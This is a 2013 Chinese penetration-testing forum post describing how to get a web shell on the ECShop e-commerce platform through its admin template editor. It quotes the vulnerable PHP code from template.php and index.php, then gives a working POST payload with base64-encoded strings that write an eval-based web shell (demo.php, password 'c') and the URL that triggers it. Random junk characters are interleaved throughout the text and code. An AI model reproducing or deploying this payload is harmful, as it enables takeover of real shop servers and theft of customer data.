中国网络渗透测试联盟

标题: Ecshop后台getshell [打印本页]

作者: admin    时间: 2013-1-11 21:33
标题: Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板! Z+ K3 |* }) Q# B. o( D! `
. B- T/ f/ x  \6 r. i% @- O! u
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了/ a! a& c, f! b& y) t. ]
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码0 P1 l: Y8 L! ?5 |* G: J2 S5 F
admin/template.php
, T, R( i$ f5 t& ~% K6 M( p( c; D2 t
4 B. u- V* x4 v$ L1 if ($_REQUEST['act'] == 'update_library')
6 B- e  k0 I& D1 t' L& r  e2 n/ @- y$ z" l6 Y7 U4 b) w
2   . P( U+ V5 A2 {) H6 T6 u
; v. P1 `% p# T( |  b; s9 M, a7 ^
3 { & B3 a# n' |0 H! W+ V. A0 m$ V
: G. s; s# ~, o. ~
4     check_authz_json('library_manage');
" n" c. d7 `; U; I0 X/ [+ O% ^1 C3 _+ |
+ e  I" b+ K! O, k5 T& W6 J2 H5   
! g# S2 {: Y: S, O5 C$ ]% E8 F% ?) H4 K8 ?4 k  d6 m1 w
6     $html = stripslashes(json_str_iconv($_POST['html']));
/ A( E4 N5 F0 u0 Z3 P$ D: Y+ U' N" E( R4 w* p' \4 G' G" Q$ Z" p
7   9 l* [% p! J( L7 p, L7 i; R' ?
! A- u7 w  c/ s0 {2 b5 `. Q
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 4 ~3 p' q  L( I6 A$ q8 a

7 o5 \6 l+ y4 K2 c0 |9   : ^% w- w0 b/ _
7 v" Q1 c% P/ n% ?0 x( p5 T
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 6 C  c. b) D7 ^6 d4 q

5 v) j& u) B0 x! Z4 q11   
: q# ^5 H* O8 n* Z% @7 ~& @) `! X' H: E) R* R
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); & |: M* H. o3 j9 C

7 H6 U: }2 x5 G7 N& J: _7 a13   
3 Q* e! Q, Z3 k% s; j+ |4 f* l8 S# P) q: D4 c* q! _8 e  ~
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 - d. t& M. e" Q5 U: {5 }* k
* t$ P$ E- V" x0 Y6 Q( N
15     {
" e: {) O9 s. B1 Q3 G
$ [; I9 [. I5 o16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
& O: h' d/ o' W/ k- i' h) B$ {6 R: [# }2 D, W6 I* n- c( Y
17         make_json_result('', $_LANG['update_lib_success']);
$ ^8 z: _3 F& l+ R3 [0 R
' M# D( ^  e% @; D% O% `* u7 `18     }
2 P, k! ~2 w* P7 L4 A' I* o9 ~/ v7 i/ H9 r0 V! o3 Z& A3 s6 b9 X
19     else + s  b$ S- o& H$ T
' H2 H; K4 s4 v: H7 @
20     {
  s( y( K4 t* U: I4 E0 Q
+ T6 l  G$ W9 m2 O21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
+ Y4 Y" O9 q& Z2 {+ G# v2 t) [0 `# s8 u9 s: y
22     }
( [+ q* s2 |2 S& y- _2 j* U& O5 Z2 V5 h: o: G5 A  e! M
23 } 1 {% y$ V7 M2 d) O2 _$ x
8 l! g2 ?* ^; ]4 {
那么找个比较方便调用了模板的文件/ }( u, U- u6 P1 @" a
index.php
& `0 D, Q+ B9 L3 E) h/ n8 O( x: W; ~8 Z) m& F- |: }2 [; ?
1 if ($act == 'cat_rec')
% Q2 E6 b# y* c6 F- \; n  ~# r* h8 r1 U7 e. @
2   + y" V$ K4 J3 R' z4 O

$ ]! [  h& t% c0 d3 { & Y" `1 j/ ?' p( |( T

* l1 }9 {- j2 V4 w& L4   
5 t3 E8 r4 k# R+ h3 E& Y4 Y
0 _& y/ E! X1 x; o5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
- j  j% U$ D$ B8 [7 R5 Z% X1 G* E' w% o) i8 `+ O- [
6     s( h4 J2 `8 t, J: r; V! ?3 |. S

4 O' s+ V/ h) T$ n- T$ ]+ O7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 7 {( L, H2 C5 W4 Q! c0 B% W
% C% o3 ]  m. o: C7 \6 t+ D- Y% c
8   
3 l+ T( i. m& P; m* f7 _$ `# t5 r
: n- C$ u, D! k9 ]9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; % _  [5 Q$ l* U2 j/ t
$ x8 Z) o2 T9 E1 i) w" ^4 o8 {
10   0 q) ^, Y5 C. C4 g, Z/ Q

2 A( s& K- v5 p' ^11     include_once('includes/cls_json.php');
: N0 d" k6 ~) V6 a8 t4 k4 F/ g7 z- E+ w% ~+ U
12   ( l& e. z! M5 T% h" S$ |9 m
3 z) ~4 e4 B$ O! x: e
13     $json = new JSON; 4 V9 Z6 _: `& j. I, [
. Z+ Y9 y' C- N4 q
14   
; U7 _0 x5 E* S3 l) `
/ N- h, ^; k" K& s7 g( h. v15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 3 G) a4 D! _& G

' _1 E3 Q; _1 M$ N2 e; E16   
+ P/ }2 y( M: D) E* V+ `  n3 Z% g: R4 [. k: g( v  ?- e# I3 ^$ q
17     $children = get_children($cat_id); : G' W( N+ E/ ^0 |! \* `( I

9 i9 e* i2 H% h$ Y2 y1 ^% B18   ; d1 H1 M/ g5 D5 V+ S7 [. e

: @/ I. s4 K) h6 y9 c: r19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
+ z+ H! S2 [1 m, `; i
* {5 l9 q5 _$ q9 p8 `20   
$ n9 F) p$ K+ y. Y% y$ T' y; c5 z! J. y. G' w1 ~
21     $smarty->assign('cat_rec_sign', 1); + V8 Z0 s9 L$ `4 }% C" E2 {: B' S

. c6 [) I% q, g; k* m22   
0 n8 ^0 d4 B  U+ M1 B4 o. I8 h) u- K2 K9 R# L3 S
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
+ j9 I/ N2 W# }; U7 {( r% e
  ~1 ], h' I- H1 ~) ^( G# _24   
1 k* g! c4 g2 \! W9 j" B
8 ~* o" }2 H4 w! v. d) n5 q25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
8 f( ?% k! ^0 h  K" `3 X  r, `2 i- U
' Y& c9 U$ F- T& ]- o26   : x' Z2 N) u) q1 w% h
6 l# ~* y0 O1 J1 @( p4 X3 m# R
27         echo $rec_array[$rec_type];
' `7 P6 Q6 K: t  {: C, d( {6 H3 n) {- Y
28   
& A6 f$ y$ x' ~2 ]5 e# R( c/ E1 N7 c! u' Y1 |
29     die($json->encode($result)); % l. z/ w7 u- a& f$ l2 u

1 @5 N5 R) z9 p4 b5 y$ Q7 x3 D30   
4 q7 \9 f$ u7 D& x, z1 F
$ O& f, U% Z1 i2 S1 V/ J" n31 } ! o0 ^' w3 u9 {& x: f5 v
1 X0 m& I  s" b2 q5 {7 K* c
那么就有利用方法了  E7 I2 l; ^% o8 N) k; U( l% F
post包到http://localhost/ec/admin/template.php?act=update_library% ~* B7 B: ]+ o! c& S
Post内容:9 K# l2 J8 x" C* R1 N! V

1 x* A: s# w% [# `4 ^. I
2 p: y. E* b# N1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
& N7 Y* ^& a  m$ I+ S! q9 _
6 h" d& J, w, O+ X9 T) B7 m& A% y+ h然后访问http://localhost/ec/index.php?act=cat_rec
; d4 _8 v" @1 h0 m3 S7 J4 F/ l
+ [1 i# M3 B& c4 ~shel地址:http://localhost/ec/demo.php
  V. o& {! e+ H" c' i& R密码c
$ M9 d5 Z5 t& z1 u& L6 O: g9 a
# N7 U: J- s. n) ?5 U: C% Z& t$ k




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2